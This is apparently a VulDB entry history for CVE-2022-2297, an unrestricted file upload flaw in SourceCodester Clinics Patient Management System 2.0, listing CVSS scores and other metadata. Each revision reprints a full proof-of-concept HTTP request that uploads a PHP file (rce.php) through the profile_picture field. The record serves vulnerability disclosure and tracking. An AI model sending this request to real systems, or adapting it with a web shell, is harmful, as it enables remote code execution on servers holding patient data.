フィールド | 2022年07月04日 07:13 | 2022年07月18日 14:55 | 2022年07月18日 14:58 |
---|
vendor | SourceCodester | SourceCodester | SourceCodester |
name | Clinics Patient Management System | Clinics Patient Management System | Clinics Patient Management System |
version | 2.0 | 2.0 | 2.0 |
file | /pms/update_user.php?user_id=1 | /pms/update_user.php?user_id=1 | /pms/update_user.php?user_id=1 |
argument | profile_picture | profile_picture | profile_picture |
cwe | 434 (特権昇格) | 434 (特権昇格) | 434 (特権昇格) |
risk | 2 | 2 | 2 |
cvss3_vuldb_av | N | N | N |
cvss3_vuldb_ac | L | L | L |
cvss3_vuldb_ui | N | N | N |
cvss3_vuldb_s | U | U | U |
cvss3_vuldb_c | L | L | L |
cvss3_vuldb_i | L | L | L |
cvss3_vuldb_a | L | L | L |
cvss3_vuldb_e | P | P | P |
cvss3_vuldb_rc | R | R | R |
url | https://github.com/CyberThoth/CVE/blob/8c6b66919be1bd66a54c16cc27cbdd9793221d3e/CVE/Clinic's%20Patient%20Management%20System/Unrestricted%20file%20upload%20(RCE)/POC.md | https://github.com/CyberThoth/CVE/blob/8c6b66919be1bd66a54c16cc27cbdd9793221d3e/CVE/Clinic's%20Patient%20Management%20System/Unrestricted%20file%20upload%20(RCE)/POC.md | https://github.com/CyberThoth/CVE/blob/8c6b66919be1bd66a54c16cc27cbdd9793221d3e/CVE/Clinic's%20Patient%20Management%20System/Unrestricted%20file%20upload%20(RCE)/POC.md |
availability | 1 | 1 | 1 |
publicity | 1 | 1 | 1 |
url | https://github.com/CyberThoth/CVE/blob/8c6b66919be1bd66a54c16cc27cbdd9793221d3e/CVE/Clinic's%20Patient%20Management%20System/Unrestricted%20file%20upload%20(RCE)/POC.md | https://github.com/CyberThoth/CVE/blob/8c6b66919be1bd66a54c16cc27cbdd9793221d3e/CVE/Clinic's%20Patient%20Management%20System/Unrestricted%20file%20upload%20(RCE)/POC.md | https://github.com/CyberThoth/CVE/blob/8c6b66919be1bd66a54c16cc27cbdd9793221d3e/CVE/Clinic's%20Patient%20Management%20System/Unrestricted%20file%20upload%20(RCE)/POC.md |
cve | CVE-2022-2297 | CVE-2022-2297 | CVE-2022-2297 |
responsible | VulDB | VulDB | VulDB |
date | 1656885600 (2022年07月04日) | 1656885600 (2022年07月04日) | 1656885600 (2022年07月04日) |
cvss2_vuldb_av | N | N | N |
cvss2_vuldb_ac | L | L | L |
cvss2_vuldb_ci | P | P | P |
cvss2_vuldb_ii | P | P | P |
cvss2_vuldb_ai | P | P | P |
cvss2_vuldb_e | POC | POC | POC |
cvss2_vuldb_rc | UR | UR | UR |
cvss2_vuldb_au | S | S | S |
cvss2_vuldb_rl | ND | ND | ND |
cvss3_vuldb_pr | L | L | L |
cvss3_vuldb_rl | X | X | X |
cvss2_vuldb_basescore | 6.5 | 6.5 | 6.5 |
cvss2_vuldb_tempscore | 5.6 | 5.6 | 5.6 |
cvss3_vuldb_basescore | 6.3 | 6.3 | 6.3 |
cvss3_vuldb_tempscore | 5.7 | 5.7 | 5.7 |
cvss3_meta_basescore | 6.3 | 6.3 | 7.1 |
cvss3_meta_tempscore | 5.7 | 5.7 | 6.9 |
price_0day | $0-$5k | $0-$5k | $0-$5k |
type | Hospitality Software | Hospitality Software | Hospitality Software |
input_value | <?php phpinfo();?> | <?php phpinfo();?> | <?php phpinfo();?> |
sourcecode | POST /pms/update_user.php?user_id=1 HTTP/1.1
Host: localhost
Content-Length: 828
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHTbuuF5mdaA9K4Fw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/pms/update_user.php?user_id=1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=kbnmikgfhdo4qe7crgidipoqc9
Connection: close
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="hidden_id"
1
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="display_name"
Administrator
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="username"
admin
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="password"
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="profile_picture"; filename="rce.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="save_user"
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw-- | POST /pms/update_user.php?user_id=1 HTTP/1.1
Host: localhost
Content-Length: 828
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHTbuuF5mdaA9K4Fw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/pms/update_user.php?user_id=1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=kbnmikgfhdo4qe7crgidipoqc9
Connection: close
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="hidden_id"
1
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="display_name"
Administrator
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="username"
admin
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="password"
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="profile_picture"; filename="rce.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="save_user"
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw-- | POST /pms/update_user.php?user_id=1 HTTP/1.1
Host: localhost
Content-Length: 828
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHTbuuF5mdaA9K4Fw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/pms/update_user.php?user_id=1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=kbnmikgfhdo4qe7crgidipoqc9
Connection: close
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="hidden_id"
1
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="display_name"
Administrator
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="username"
admin
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="password"
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="profile_picture"; filename="rce.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw
Content-Disposition: form-data; name="save_user"
------WebKitFormBoundaryHTbuuF5mdaA9K4Fw-- |
cve_assigned | | 1656885600 (2022年07月04日) | 1656885600 (2022年07月04日) |
cve_nvd_summary | | A vulnerability, which was classified as critical, was found in SourceCodester Clinics Patient Management System 2.0. Affected is an unknown function of the file /pms/update_user.php?user_id=1. The manipulation of the argument profile_picture with the input leads to unrestricted upload. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. | A vulnerability, which was classified as critical, was found in SourceCodester Clinics Patient Management System 2.0. Affected is an unknown function of the file /pms/update_user.php?user_id=1. The manipulation of the argument profile_picture with the input leads to unrestricted upload. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. |
cvss2_nvd_av | | | N |
cvss2_nvd_ac | | | L |
cvss2_nvd_au | | | S |
cvss2_nvd_ci | | | P |
cvss2_nvd_ii | | | P |
cvss2_nvd_ai | | | P |
cvss3_cna_av | | | N |
cvss3_cna_ac | | | L |
cvss3_cna_pr | | | L |
cvss3_cna_ui | | | N |
cvss3_cna_s | | | U |
cvss3_cna_c | | | L |
cvss3_cna_i | | | L |
cvss3_cna_a | | | L |
cve_cna | | | VulDB |
cvss2_nvd_basescore | | | 6.5 |
cvss3_nvd_basescore | | | 8.8 |
cvss3_cna_basescore | | | 6.3 |
cvss3_nvd_av | | | N |
cvss3_nvd_ac | | | L |
cvss3_nvd_pr | | | L |
cvss3_nvd_ui | | | N |
cvss3_nvd_s | | | U |
cvss3_nvd_c | | | H |
cvss3_nvd_i | | | H |
cvss3_nvd_a | | | H |